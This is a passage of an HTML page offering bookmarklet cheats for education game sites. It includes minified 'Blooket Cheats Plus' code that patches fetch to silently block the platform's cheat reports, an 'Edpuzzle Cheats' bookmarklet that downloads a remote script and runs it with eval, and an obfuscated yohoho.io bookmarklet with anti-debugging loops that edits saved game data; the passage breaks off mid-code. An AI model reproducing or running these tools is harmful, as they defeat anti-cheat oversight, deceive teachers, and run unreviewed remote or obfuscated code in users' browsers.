`+n));e=Object.entries(a).map((([e,{b:t,g:o}])=>({name:e,blook:t,value:o||0})));break;case"hack":for(let e in p)p[e].tat?.split&&([i,l]=p[e].tat.split(":"),this.addAlert(e,t[a[e].b]?.url,`just took ${this.parseNumber(parseInt(l))} crypto from `+i));e=Object.entries(a).map((([e,{b:t,cr:o}])=>({name:e,blook:t,value:o||0})));break;case"fishing":for(let e in p)"Frenzy"==p[e].f?this.addAlert(e,t[a[e].b]?.url,"just started a frenzy"):p[e].s&&this.addAlert(e,t[a[e].b]?.url,`just sent a ${p[e].f} distraction`);e=Object.entries(a).map((([e,{b:t,w:o}])=>({name:e,blook:t,value:o||0})));break;case"dino":for(let e in p)p[e].tat&&([s,c]=p[e].tat.split(":"),"true"==c?this.addAlert(e,t[a[e].b]?.url,`just caught ${s} CHEATING!`):this.addAlert(e,t[a[e].b]?.url,"investigated "+s));e=Object.entries(a).map((([e,{b:t,f:o}])=>({name:e,blook:t,value:o||0})));break;case"cafe":for(let e in p)p[e].up&&([d,u]=p[e].up.split(":"),u)&&this.addAlert(e,t[a[e].b]?.url,`upgraded ${d} to level `+u);e=Object.entries(a).map((([e,{b:t,ca:o}])=>({name:e,blook:t,value:o||0})));break;case"factory":for(let e in p){var m,h,b=p[e];b.g?this.addAlert(e,t[a[e].b]?.url,`activated the ${o[b.g]} glitch!`):b.s?([m,h]=b.s.split("-"),this.addAlert(e,t[a[e].b]?.url,`has a ${m} ${h} synergy!`)):b.t&&this.addAlert(e,t[a[e].b]?.url,"now has 10 Blooks!")}e=Object.entries(a).map((([e,{b:t,ca:o}])=>({name:e,blook:t,value:o||0})))}this.updateLeaderboard(e.sort(((e,t)=>t.value-e.value)))}}))}catch{return!1}},diffObjects(e,t){var o,a={};for(let n in e)n in t&&("object"==typeof e[n]&&"object"==typeof t[n]?(o=this.diffObjects(e[n],t[n]))&&0!==Object.keys(o).length&&(a[n]=o):JSON.stringify(e[n])!==JSON.stringify(t[n])&&(a[n]=t[n]));for(let o in t)o in e||(a[o]=t[o]);return 0==Object.keys(a).length?null:a},getGamemode(){if(Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode.props?.client?.type)return Object.values(document.querySelector("#app>div>div"))[1].children[0]._owner.stateNode.props.client.type.toLowerCase();switch(window.location.pathname){case"/play/racing":return"racing";case"/play/extras":return"extras";case"/play/host":return"host";case"/play/pirate":return"voyage";case"/play/factory":return"factory";case"/play/classic/get-ready":case"/play/classic/question":case"/play/classic/answer/sent":case"/play/classic/answer/result":case"/play/classic/standings":return"classic";case"/play/battle-royale/match/preview":case"/play/battle-royale/question":case"/play/battle-royale/answer/sent":case"/play/battle-royale/answer/result":case"/play/battle-royale/match/result":return"royale";case"/play/toy":return"toy";case"/play/gold":return"gold";case"/play/brawl":return"brawl";case"/play/hack":return"hack";case"/play/fishing":return"fishing";case"/play/rush":return"rush";case"/play/dino":return"dino";case"/tower/map":case"/tower/battle":case"/tower/rest":case"/tower/risk":case"/tower/shop":case"/tower/victory":return"doom";case"/cafe":case"/cafe/shop":return"cafe";case"/defense":return"defense";case"/play/defense2":return"defense2";case"/kingdom":return"kingdom";default:return!1}}}]};function S(e,t){var o,a,n=0,r=0;e.onpointerdown=function(e=window.event){n=e.clientX,r=e.clientY,document.onpointerup=function(){document.onpointerup=null,document.onpointermove=null},document.onpointermove=function(e=window.event){o=n-e.clientX,a=r-e.clientY,n=e.clientX,r=e.clientY,t.style.top=t.offsetTop-a+"px",t.style.left=t.offsetLeft-o+"px"}}}w("Alerts","https://i.ibb.co/hBNyCXG/559343-1.png",C.alerts,!0),w("Global","https://i.ibb.co/gd4Qs8L/11507ef5615c554fe88fc22c86768501-simple-earth-icon-1.webp",C.global)(),w("Host","https://i.ibb.co/QpDgysb/computer-1865273-1.png",C.host,!0),w('<span style="font-size: 18px">Pirate\'s Voyage</span>',"data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+PCFET0NUWVBFIHN2ZyBQVUJMSUMgIi0vL1czQy8vRFREIFNWRyAxLjEvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvR3JhcGhpY3MvU1ZHLzEuMS9EVEQvc3ZnMTEuZHRkIj48c3ZnIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEwMCUiIHZpZXdCb3g9IjAgMCAzMDAgMzAwIiB2ZXJzaW9uPSIxLjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHhtbDpzcGFjZT0icHJlc2VydmUiIHhtbG5zOnNlcmlmPSJodHRwOi8vd3d3LnNlcmlmLmNvbS8iIHN0eWxlPSJmaWxsLXJ1bGU6ZXZlbm9kZDtjbGlwLXJ1bGU6ZXZlbm9kZDtzdHJva2UtbGluZWpvaW46cm91bmQ7c3Ryb2tlLW1pdGVybGltaXQ6MjsiPjxnIGlkPSJCb2F0Ij48cGF0aCBkPSJNMTcwLjQsNTYuMDU0Yy02OC43ODgsMTAuMTc0IC0xMTUuOTcxLDU2LjkzOCAtMTQ1LjQxMSwxMzMuNzVsMTUuNDY5LDcuNzM0YzMwLjk2MiwtMjguMTc1IDc0LjcwNSwtMzcuNzg3IDEzMi4zMjIsLTI3LjI1bDAsLTE3LjYxMWMtMjUuNjI5LC0yNy45NTIgLTI2Ljk2NiwtNTYuNzcyIDAuNzE0LC04Ni42MjhsLTMuMDk0LC05Ljk5NVoiIHN0eWxlPSJmaWxsOiNmNmUwYmQ7Ii8+PHBhdGggZD0iTTE5OS42NzMsNjAuODEzYzMyLjc4NCw0Mi45ODIgNjUuODIyLDkwLjg4NyA5Ny4zMzcsMTM5LjU4MWwtNi42NjMsMGMtMTIuMDg1LC0zMS4xMTEgLTU3Ljg4MiwtMzkuNjk0IC05MS42MjYsLTI3LjI1YzIyLjUxNCwtMzQuNTc5IDE3Ljc5NiwtNzIuNjczIDAuOTUyLC0xMTIuMzMxWiIgc3R5bGU9ImZpbGw6I2Y2ZTBiZDsiLz48cGF0aCBkPSJNNjkuNDQ4LDE5Ny41MzhjMCwwIC01OS43MDcsLTE1LjI0MyAtNjguMzk4LC0xNy40NjJjLTAuMDc2LC0wLjAxOSAtMC4xNTQsMC4wMiAtMC4xODQsMC4wOTJjLTAuMDMsMC4wNzIgLTAuMDAyLDAuMTU1IDAuMDY1LDAuMTk1YzkuNjgyLDUuNzc1IDkxLjY0Nyw1NC42NTggOTEuNjQ3LDU0LjY1OGwtMjMuMTMsLTM3LjQ4M1oiIHN0eWxlPSJmaWxsOiM4ZDZlNDE7Ii8+PHBhdGggZD0iTTE2NC40NSw0Ny45MDNjMCwtNS4zNTMgNC4zNDYsLTkuNjk4IDkuNjk4LC05LjY5OGwxOS4zOTcsLTBjNS4zNTIsLTAgOS42OTgsNC4zNDUgOS42OTgsOS42OThsLTAsMTU2Ljk1M2MtMCw1LjM1MyAtNC4zNDYsOS42OTggLTkuNjk4LDkuNjk4bC0xOS4zOTcsMGMtNS4zNTIsMCAtOS42OTgsLTQuMzQ1IC05LjY5OCwtOS42OThsMCwtMTU2Ljk1M1oiIHN0eWxlPSJmaWxsOiM3ZjY4NDU7Ii8+PHBhdGggZD0iTTI2My45OTMsMjU2LjEwM2MyMi4xNzEsLTE0LjcxIDM2LjAwNywtMzUuNTE1IDM2LjAwNywtNTguNTY1bC0yMzAuNTUyLDBjMCwyMy43MTMgMTQuNjQzLDQ1LjA1IDM3Ljk0LDU5LjgxOWM5Ljg3NSwtMy43MjkgMjAuMDQxLC0xMS4zMzQgMzAuNDYzLC0yMi4zMzZjMzIuODExLDM1LjQ1NSA2NC4wNjksMzUuOTQzIDkzLjcwOCwwYzYuODM4LDkuNjc3IDE3LjczNiwxNi42NDYgMzIuNDM0LDIxLjA4MloiIHN0eWxlPSJmaWxsOiNiNjkyNWY7Ii8+PC9nPjwvc3ZnPg==",C.voyage),w("Gold quest","https://media.blooket.com/image/upload/v1661496292/Media/uiTest/Gold.svg",C.gold),w("Cafe","https://i.ibb.co/t8pqdYL/hot-beverage-1.png",C.cafe),w("Crypto Hack","https://media.blooket.com/image/upload/v1661496293/Media/uiTest/CryptoIcon.svg",C.crypto),w('<span style="font-size: 17px">Deceptive Dinos</span>',"https://i.ibb.co/JFq5j88/Screenshot-2024-03-26-7-30-21-PM-removebg-preview-1.png",C.dinos),w('<span style="font-size: 18px">Tower Defense</span>',['<img style="width: 30px; margin-right: 5px" src="https://media.blooket.com/image/upload/v1657235025/Media/survivor/Laser_Lvl1.svg">'],C.defense),w('<span style="font-size: 16px">Tower Defense 2</span>',['<img style="width: 30px; margin-right: 5px; rotate: 45deg" src="https://media.blooket.com/image/upload/v1593095354/Media/defense/missile.svg">'],C.defense2),w("Factory","https://i.ibb.co/VMrTd39/images-removebg-preview-1.png",C.factory),w('<span style="font-size: 19px">Fishing Frenzy</span>',"https://media.blooket.com/image/upload/v1661496295/Media/uiTest/Fish_Weight.svg",C.fishing),w("Flappy Blook","https://media.blooket.com/image/upload/v1645222006/Blooks/yellowBird.svg",C.flappy),w('<span style="font-size: 17px">Tower of Doom</span>',['<img style="height: 30px; margin-left: 5px; margin-right: 10px" src="https://media.blooket.com/image/upload/v1657235023/Media/survivor/cards-05.svg">'],C.doom),w('<span style="font-size: 18px">Crazy Kingdom</span>',"https://i.ibb.co/10mZ6dx/3763864-1.png",C.kingdom),w("Racing","https://media.blooket.com/image/upload/v1661496295/Media/uiTest/Racing_Progress.svg",C.racing),w("Battle Royale","https://media.blooket.com/image/upload/v1655936179/Media/br/VS_Lightning_Bolt_Bottom.svg",C.royale),w("Blook Rush","data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIAAAACACAYAAADDPmHLAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAADdgAAA3YBfdWCzAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAA7YSURBVHic7Z17tFxVfcc/e59zZib3kcfN456YQObOTB43PBIKoeIqSlwIBXwiCCytXe2qxabSWrAqLKmwXKthVRe2BFxitYpasSIPV0sI8mhV5GHVdpWaoCRIvAnZSW/uzeuG3Nec/jFzk8mYOXNm73PmeT7/zt6/s+/d399vv/cWnufRSSilZgEXAZcBl42MHF5m23KrlPJBKcU9mUx6pLElrC+iEwSglFpOscIpVH5q5rfh4YPH0wkBlmUNW5b8oZTyi9ls+ol6l7XetKUAyrz8ciBbKW2pAMqRUk62e3RoGwH4ebkffgIopV2jQ8sKoOjl6zlR6RW93I+gAiinGB22SSkfklJsatXo0FICUEqt4ESFv4WAXu6HrgBKKYkOPypGh+8bG60TTS0ApVQXJ3t5JuxvhCGAcorR4aVidLg7k0kPh/6RkGg6AUTh5X5EIYBSmj06NFwA9fByP6IWQDnNFh0aIgCl1EpO9vJk3QtRpN4CKKUYHfYXo8O92Wx6S93LUA8BFL38rZyo9IHIPxqQRgqgHCnlVEl02FSP6BCZAIpefjmFCn8zDfRyP5pJAKWURIdnin2HSKJDaAJQSnVzclveNF7uR7MKoJyy6HBPJpPeF4ZdIwEopVZxosKb1sv9aBUBlFIWHb6UzaY3a9uqRQBFLy9ty9O6H24WWlEA5RSjwy+llA8X+w6Bo0NVASilBjlR4RfSgl5+KiY9eP6g4IWhad7Xf4Qu2VzzIboUo8NISXR41De9nwCUUpcAj4ddyEaxaxyeHhU8PQLPHBSMTQP7FoHwWDBrnPPnjXFd/yHW9kw0uqihkUolbsnlBjZW+t2ukl+GXJ66MunBcwcFT48WKv7loxUSeoLhoyk2H02xefd8HHuK5b2v8/sLj3DNosOtHh0svx+rCaDlKPXyHx0UHJ2u3cbklM3W0V62jvZy58tu20YHaAMBTOTh+UMBvFwXn+hw9cLD9FgtHR1aUwBDx4pePlpoy3W8XJfy6DD/eHQ4zDk94/UrSEi0hAAm8vDcjJePCLa/3ugSFfEE+4+meOxoisd2z8dxCtHhkvmFvkMrRIemFcBvSrz8x3X2cl0mJ222jvSydaSXv9/uMr9rnHVzxri2/zDn9jZndGgaATStl+viCfaPpdgylmLLa80bHRoqgFIvf+aA4PV8I0sTLc0aHeoqgBkvf2qkUPE7Wt3LdSmPDvYUudmF6HBtnaND5ALYWdqWt7mX6zI5ZbNtpJdtI738w3aXvlnjrJtXiA7nRTyyiEwAvxiDP31J8kqnerkunmDkaIrHj6Z4vDjvsHHVHi7tC3uCo0BkU737JkRc+SEwOWXz6rgTmf2WnuuPMScWQIcTC6DDiQXQ4cQC6HBiAXQ4sQA6nFgAHU4sgA4nFkCHEwugw4kF0OHEAuhwYgF0OLEAOpxqAtDei2sL3Zwx5SQx2kY16fdjNQFob+mYazfHrtd2YFFCf0+8EOKw3+/VBKC9D2lu02w4b30WJ40ORRzw+zG6CBDdLqaO4w3JKZPsvjdgRBYBeq24HxAKAvodowhgJACjbZ1z4mbAGCHM9tELge8l1pEKIO4HmGNL44MUo34/VhPAEUD7RoR5sQCMSVjGAtjr96OvAFzX9YBdul+e68RDQVOSBgKQUk5mMmlfA0FmAod0CxA3AeZ02SYCEGNV0wSwoy2ABfFQ0Jg5tv4QUAjh2/5DxAI4o1s3Z8wMqw0OhwohVLU0kQpgTU/cBzDlonn6AzEhxM5qaYIIoKqRSmS7oMf3lroYP4TweNNsEwHwUrU0QQTwM90CSOCsHt3cMT3JSaPZVCnFg1XTVEvguu5e4BXdQsTNgD6ndx3TzlscAv5v1XQB7T2rW5A1cQTQZk2vvgAsSwaav4leAL1xBNBl/Tz9W0GklC8EShfQ3nO6BUmnYHY8IVQzQnqcP1t/CCileCRQuoD2XqSwLlAzgrgfoENvckJ7w6YQwhOCh4OkDfQN13WngUAh5VSc26ubs3PJdRu1/6OZTDrQIl4tItPuB7xzQRwBauUPFus/ZWNZ8hdB09ZFAIPdsKpLN3fnkXCmuNhsBjDw87S1COB5QNuVr1wUR4GgrOvT6m4dR0rxjcBpgyZ0XfcAsE2rRMB7FnrEWwSD8eElVRfxKmJZcjyTSQeevq+1o6ndDCxNwrrZurk7h57khNGzNJYlX60lfa0C+GGN6U/iyoVxM1CNCxf4nuOoipTyP2pKX6P9h4Gqu0wq8Y4FXrxV3A8BG5b6nuPwzy4EUopP15KnJgG4rnsEeKCmUpXQ58BF8+IoUIm+WcdIGxwCsW1reyaT9t0EWo7OZNNXNfIc5z0LTXK3N5cuNAv/ti3vqjWP1uPRSqmXgVzNGSk8GvHGn0n2NMsTOvsWNboEAFjWNM+8cYf2YxFSysnVq5cnas6n9TX4mmY+EhI+elrcDJRzqXvA6KUQx7F+oJNPVwD3gf6h9ev6PZa2xRPU4WBZ09w+sN/IhpTyFq18Oplc190FPKGTF8ARcRQo5YrFB0gZvE9s29ZwNpv+T528JlfE/JNBXq7p91iWMrHQHtjWNJ9Om3m/bVvf1M1rIoDvgf/JUz9sATeeHkeBdy0ZIWHg/UIIr9axfynaAnBddxz4lm5+gPcu9MjMMrHQ2jj2FJ9Ka/tQwYZjvZjJpA/p5je9JcyoGbAE3NTBUeDKJaPGz7ZZlnWHSX6teYBSlFI/B87RzZ8H1v9c8qtoXkWrToPmARL2FC9csMNoatyy5OuDg8uNdlqEcU/graYF+Gwu33EXFv51bq/xuojj2H9nWg7j/7vruo8CT5rYOH82/NnSzmkKzpp/iGsXmW36sG1rJJcbuM20LGE53k0YTAwBfGKZx+oOOE2cdCb58mDVQ7tVcRz7+hCKE44AXNf9Hww7hI6ATSvyOG29XOyxcdUeugyGfQCJhP3LbDb93TBKFGbT+ynAaDlrdTd8fFn7NgW/13+Atxls9oTCuN+2ratCKlJ4AigeIjUakgBsWOq15dax7tQEm1bsM7aTSNhPBjn0GZSwO993Ar8xMSApNAXd7XSvgPC4e/Vrxr1+KeWUZcn3hVOoos0wjbmuewz4pKmdZSm4baB9moK3LxnhPIOrXmZIJOwvZjJp/T1jpyCK4fe3MThGNsMHXI9r+ltfBKfPHmNjZtjYjm1bR6QUfxlCkU4idAEU7xa8MQxbn8t5XNzXuiLo6zrGw2fvDsWW49gfq3bnnw6RTMC5rvss8B1TO7aAL63yOK8FD5d2Jyf43toho5W+GRzHHspm0/eGUKzfIsoZ2I9S5ZrSIMyS8I0z8qxoobOFCXuKB9YOMdfgkscZpBR527beGUKxTm0/KsOu6+4BrsPg2ZkZ5trw7TPyvKEFtpFZ1jT3rRniNLM7/o+TTDofy2bT/x2KsVMQ6RqM67r/juFi0QyLkwURNPP1s0LkuevM3ZzZrX+0q5Rk0vl+Njvw+VCMVaAei3B3AP8WhqHlXYXmYFYzLh0Kj79ZtYc3zzGb6ZvBcay9liUvC8WYD5H/K4ujgg8Cr4Zh77xe+PKgR6qZRCA8PpLby1ULzVb4ZpBSTjmOfUEUvf7f+lbUHwBwXXcUuBoI5TjIW+d5PHJ2nv6aj0GEj5R5/nb1Lq43uNGjFCEgmXT+OJNJ/zoUg1Womx+5rvtTCiODUFjTA4+tyTf0QupUYpJ/Pmcn75gf3namRCJxfzabDnzBgynGW8JqRSn1TeD9Ydk7Og1//ivBlv2aE+2aW8IWdB/jwbN30Wf2oNNJOI796sqV2YHQDAagES3p9UDgS4yq0WXBVwY9NtRxR9FZ8w/xxO/sDLXyLUuOO471u6EZDEjdBeC67hhwFZr3Dp4KCdya9rhzuRf5hpJ3nzbMt87YE+o9B0IIL5Fwrsxk0ubrxTXSkL6067ovAR+gyru2tXJdv8e/nJmP5LEqIfN8cuVrfMbwDN+pSCadO7LZ9ObQDQeg7n2AUpRS76KwZhBqf373OHxiu+Cp0QBuGqAP0Nd1jLsG97AmpAmeUlKpxMZcbkDrYGcYNFQAAEqpy4GHgNAneh/5P8GtrwiG/eKMjwCkzHPtacPcvEz/1q5KFIZ7idtyuYHbQzdeSzkaLQAApdQlwCNA6AfFDk7B7b8W3L+3QjSoIIBls8e4d1CxJKQ5/VKEECSTzi253MDG0I3XWpZmEACAUmo98K9AJCP7Hx8UfHy74JXymdoyAdj2NH+V3csH+82ua6mEEIJUyrkx6jn+oDSNAACUUhcCm4FInpkYz8PnhwRf2CWYnPmzSwSwdsEhvrByL73mr3WeEiGEl0o5N2SzA/dE8gENmkoAAEqpC4AtQGR7g7eNwc07JC8cAvYtoic5wWdWKKP7eatRqPzE9dls+h8j+4gGTScAAKXUOuBxYF6U33lyRPDskMeGJeHM41eiWPl/lM2m74v0Qxo0pQAAlFLnULiGZn6U3xkerkvlvz+bTd8f6Yc0aaZF1ZNwXfe/gPVAXVbFokBKOZVKJa5q1sqHJhYAgOu6LwJrgab9B1bCceydqZSTzmbTDzW6LH40bRNQjlLqD4G7CXmEEHYTIITwkknnK7ncwIdCNRwRTR0BSnFd9z4KN5H8tNFlqYRlWWOpVOJtrVL50EICAHBddzvwJuCzGLxeEgWJhPOTZNJelM2mn2p0WWqhZZqAcpRSFwNfBxab2DFtAqQU+UTCuTmXGzC+rqURtKwAAJRSCyncXn6Frg0TATiOtc9x7LdkMumqr3Q3Ky0tgBmUUjdQaBZqXlHUEYAQkEg4312+PHN1zZmbjJbqA1TCdd1NwLkY3F8cFNu29qdSyXe3Q+VDm0SAUpRSVwCfA1YFSR80AliWnHAce2MYN3M1E20RAUopXlt3FnADYLx/qziufyCZdOa0W+VDG0aAUpRSc4GbgQ1UmECqFAGEEJ7j2D+xbXlNLe/wtRptLYAZlFJ9FCLCXwB9pb+VC6CwQ9f+gWXJP8lk0jvqV8rG0BECmEEp1UPhXMJNFOcPZgQgpcg7jv2oZckP1fryVivTUQKYQSmVpHBg9cOjo4dXOY79oJTiIybXrrcq/w99zo6mO4xCQAAAAABJRU5ErkJggg==",C.rush),w('<span style="font-size: 18px">Monster Brawl</span>',['<img style="height: 28px; margin-left: 5px; margin-right: 8px" src="https://media.blooket.com/image/upload/v1655233787/Media/survivor/xp/Blue_xp_2.svg">'],C.brawl),w('<span style="font-size: 15px">Santa\'s Workshop</span>',"https://i.ibb.co/Y2SFc9Y/Santa-Workshop-Finished-icon-1.webp",C.workshop),w("Extras","https://i.ibb.co/mb0R9HX/Star-icon-stylized-svg-1-removebg-preview.png",C.extras,!0),w("Settings","https://i.ibb.co/jrWKgyn/Windows-Settings-icon-1.png",C.settings,!0),S(m,_),S(g,_),window.addEventListener("keydown",A);let x=setInterval((()=>{C.alerts[0].connection?clearInterval(x):C.alerts[0].connect()}),5e3);function D(){for(let e in _.remove(),clearInterval(x),C)for(let t of C[e])t.enabled&&t.run();Object.keys(C).forEach((e=>C[e].forEach((e=>e.enabled&&(e.run(),k(...currentMode)))))),window.removeEventListener("keydown",A)}function A(e){var t=c.data.hide||{ctrl:!0,key:"e"},o=c.data.close||{ctrl:!0,key:"x"};(t.ctrl&&e.ctrlKey||!t.ctrl&&!e.ctrlKey)&&(t.shift&&e.shiftKey||!t.shift&&!e.shiftKey)&&(t.alt&&e.altKey||!t.alt&&!e.altKey)&&e.key.toLowerCase()==t.key?(e.preventDefault(),_.style.display="block"===_.style.display?"none":"block"):(o.ctrl&&e.ctrlKey||!o.ctrl&&!e.ctrlKey)&&(o.shift&&e.shiftKey||!o.shift&&!e.shiftKey)&&(o.alt&&e.altKey||!o.alt&&!e.altKey)&&e.key.toLowerCase()==o.key&&(e.preventDefault(),D())}function B(e,t=window){return new Promise((o=>{let a,n,r,i,l={},s=t=>{t.preventDefault(),l[t.code]=!0,a||=t.shiftKey,n||=t.ctrlKey,r||=t.altKey,["shift","control","alt","meta"].includes(t.key.toLowerCase())||(i=t.key.toLowerCase()),e?.({shift:a,ctrl:n,alt:r,key:i})},c=e=>{delete l[e.code],0<Object.keys(l).length||(t.removeEventListener("keydown",s),t.removeEventListener("keyup",c),o({shift:a,ctrl:n,alt:r,key:i}))};t.addEventListener("keydown",s),t.addEventListener("keyup",c)}))}_.addEventListener("mousemove",(e=>{var t,o;"cheatName"!=e.target.className&&"scriptButton"!=e.target.className?"0"!=y.style.opacity&&(y.animate([{opacity:.9},{opacity:0}],{duration:200}),y.style.opacity="0"):(e="scriptButton"==e.target.className?e.target:e.target.parentElement,y.innerText==e.dataset.description&&"0.9"==y.style.opacity||(t=e.getBoundingClientRect(),o=e.offsetParent.getBoundingClientRect(),y.innerText=e.dataset.description,"0"==y.style.opacity&&(y.animate([{opacity:0},{opacity:.9}],{duration:200}),y.style.opacity="0.9"),y.style.left=t.x-o.x+(t.width-y.clientWidth)/2+"px",y.style.top=t.y-o.y+t.height+"px"))})),window.fetch.call=function(){if(!arguments[1].includes("s.blooket.com/rc"))return wfcall.apply(this,arguments);C.alerts?.[0].addLog("Blooket Cheat Report Blocked!")}})();">
<p class="cheat-title">Blooket Cheats Plus</p>
<p class="cheat-creator">By: DannyDan0167</p>
</a>
<a class="cheat" href="javascript:fetch('https://cdn.jsdelivr.net/gh/ading2210/edpuzzle-answers@latest/script.js').then(r => r.text()).then(r => eval(r))">
<p class="cheat-title">Edpuzzle Cheats</p>
<p class="cheat-creator">By: ading2210</p>
</a>
<a class="cheat" href="javascript:(function()%7Bvar%20_0x174722%3D_0x5349%3Bfunction%20_0x5349(_0x189185%2C_0x5292a0)%7Bvar%20_0xf69f83%3D_0x1101()%3Breturn%20_0x5349%3Dfunction(_0x22b1ac%2C_0xdee93c)%7B_0x22b1ac%3D_0x22b1ac-0x1d9%3Bvar%20_0x1c59b4%3D_0xf69f83%5B_0x22b1ac%5D%3Breturn%20_0x1c59b4%3B%7D%2C_0x5349(_0x189185%2C_0x5292a0)%3B%7D(function(_0x162947%2C_0x5a35c1)%7Bvar%20_0x1d7e79%3D_0x5349%2C_0x3f41fd%3D_0x162947()%3Bwhile(!!%5B%5D)%7Btry%7Bvar%20_0x5ee40d%3DparseInt(_0x1d7e79(0x1e2))%2F0x1*(-parseInt(_0x1d7e79(0x1fb))%2F0x2)%2B-parseInt(_0x1d7e79(0x1eb))%2F0x3*(-parseInt(_0x1d7e79(0x1f7))%2F0x4)%2B-parseInt(_0x1d7e79(0x20f))%2F0x5%2B-parseInt(_0x1d7e79(0x1f8))%2F0x6%2B-parseInt(_0x1d7e79(0x20b))%2F0x7%2BparseInt(_0x1d7e79(0x204))%2F0x8*(parseInt(_0x1d7e79(0x1e9))%2F0x9)%2BparseInt(_0x1d7e79(0x1f4))%2F0xa*(parseInt(_0x1d7e79(0x1d9))%2F0xb)%3Bif(_0x5ee40d%3D%3D%3D_0x5a35c1)break%3Belse%20_0x3f41fd%5B'push'%5D(_0x3f41fd%5B'shift'%5D())%3B%7Dcatch(_0x338e30)%7B_0x3f41fd%5B'push'%5D(_0x3f41fd%5B'shift'%5D())%3B%7D%7D%7D(_0x1101%2C0x83dbe))%3Bvar%20_0xf03dc6%3D(function()%7Bvar%20_0x1817ae%3D!!%5B%5D%3Breturn%20function(_0x24b9a6%2C_0x56e202)%7Bvar%20_0x2e6656%3D_0x1817ae%3Ffunction()%7Bvar%20_0x1cfd89%3D_0x5349%3Bif(_0x56e202)%7Bvar%20_0x56b063%3D_0x56e202%5B_0x1cfd89(0x1ea)%5D(_0x24b9a6%2Carguments)%3Breturn%20_0x56e202%3Dnull%2C_0x56b063%3B%7D%7D%3Afunction()%7B%7D%3Breturn%20_0x1817ae%3D!%5B%5D%2C_0x2e6656%3B%7D%3B%7D())%2C_0x4be9bc%3D_0xf03dc6(this%2Cfunction()%7Bvar%20_0x7f72c4%3D_0x5349%3Breturn%20_0x4be9bc%5B'toString'%5D()%5B_0x7f72c4(0x1e3)%5D('(((.%2B)%2B)%2B)%2B%24')%5B'toString'%5D()%5B_0x7f72c4(0x211)%5D(_0x4be9bc)%5B_0x7f72c4(0x1e3)%5D(_0x7f72c4(0x1da))%3B%7D)%3B_0x4be9bc()%3Bvar%20_0x5a2fb3%3D(function()%7Bvar%20_0x4fa72b%3D!!%5B%5D%3Breturn%20function(_0x1d7e05%2C_0x5562c5)%7Bvar%20_0x37721b%3D_0x4fa72b%3Ffunction()%7Bvar%20_0x16d0ee%3D_0x5349%3Bif(_0x16d0ee(0x215)%3D%3D%3D'iRQFn')%7Bvar%20_0x4e6b3a%3D_0x38d8d7%3Ffunction()%7Bvar%20_0x3b2120%3D_0x16d0ee%3Bif(_0x1570d0)%7Bvar%20_0x4107aa%3D_0x4999cd%5B_0x3b2120(0x1ea)%5D(_0x14c1a1%2Carguments)%3Breturn%20_0x446509%3Dnull%2C_0x4107aa%3B%7D%7D%3Afunction()%7B%7D%3Breturn%20_0x29a8b1%3D!%5B%5D%2C_0x4e6b3a%3B%7Delse%7Bif(_0x5562c5)%7Bvar%20_0x581c83%3D_0x5562c5%5B_0x16d0ee(0x1ea)%5D(_0x1d7e05%2Carguments)%3Breturn%20_0x5562c5%3Dnull%2C_0x581c83%3B%7D%7D%7D%3Afunction()%7B%7D%3Breturn%20_0x4fa72b%3D!%5B%5D%2C_0x37721b%3B%7D%3B%7D())%3B(function()%7Bvar%20_0x180252%3D_0x5349%2C_0x57a488%3Btry%7Bvar%20_0x38868a%3DFunction(_0x180252(0x1f2)%2B_0x180252(0x209)%2B')%3B')%3B_0x57a488%3D_0x38868a()%3B%7Dcatch(_0x768270)%7B_0x57a488%3Dwindow%3B%7D_0x57a488%5B_0x180252(0x20c)%5D(_0x4bf308%2C0x1)%3B%7D())%2C(function()%7B_0x5a2fb3(this%2Cfunction()%7Bvar%20_0x122756%3D_0x5349%3Bif('WFald'!%3D%3D'WFald')%7Bvar%20_0x2be14a%3D_0x1286ba%5B_0x122756(0x1ea)%5D(_0x21c742%2Carguments)%3Breturn%20_0xc10b3a%3Dnull%2C_0x2be14a%3B%7Delse%7Bvar%20_0x376390%3Dnew%20RegExp(_0x122756(0x201))%2C_0x3acb61%3Dnew%20RegExp('%5Cx5c%2B%5Cx5c%2B%5Cx20*(%3F%3A%5Ba-zA-Z_%24%5D%5B0-9a-zA-Z_%24%5D*)'%2C'i')%2C_0x1a360c%3D_0x4bf308(_0x122756(0x1fd))%3B!_0x376390%5B_0x122756(0x1e5)%5D(_0x1a360c%2B_0x122756(0x203))%7C%7C!_0x3acb61%5B'test'%5D(_0x1a360c%2B_0x122756(0x1e4))%3F'ebNHv'!%3D%3D_0x122756(0x216)%3F_0x1a360c('0')%3A_0x450f89()%3A_0x4bf308()%3B%7D%7D)()%3B%7D())%3Bfunction%20_0x1101()%7Bvar%20_0x550c10%3D%5B'183285lNowSP'%2C'apply'%2C'6KFoCWW'%2C'%5B1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%5D'%2C'bind'%2C'fpBzY'%2C'toString'%2C'dhBsH'%2C'SWNEZ'%2C'return%5Cx20(function()%5Cx20'%2C'call'%2C'98310cvxqkT'%2C'exception'%2C'playerPetLevel'%2C'1456292zrKVuj'%2C'5620128LIVAYr'%2C'action'%2C'setItem'%2C'1078BKXzXO'%2C'ZxGQZ'%2C'init'%2C'If%5Cx20this%5Cx20page%5Cx20is%5Cx20not%5Cx20a%5Cx20yohoho.io%5Cx20game%2C%5Cx20please%5Cx20click%5Cx20on%5Cx20cancel.%5Cx20%5Cx0a%5Cx0aIf%5Cx20it%5Cx20is%2C%5Cx20please%5Cx20click%5Cx20OK%5Cx20to%5Cx20continue!'%2C'prototype'%2C'obaOi'%2C'function%5Cx20*%5Cx5c(%5Cx20*%5Cx5c)'%2C'gger'%2C'chain'%2C'384qRIqmn'%2C'XqhBk'%2C'console'%2C'licVk'%2C'eTADI'%2C'%7B%7D.constructor(%5Cx22return%5Cx20this%5Cx22)(%5Cx20)'%2C'while%5Cx20(true)%5Cx20%7B%7D'%2C'6362986aCtcCS'%2C'setInterval'%2C'trace'%2C'unlockedPets'%2C'2811780zubtez'%2C'string'%2C'constructor'%2C'stateObject'%2C'warn'%2C'info'%2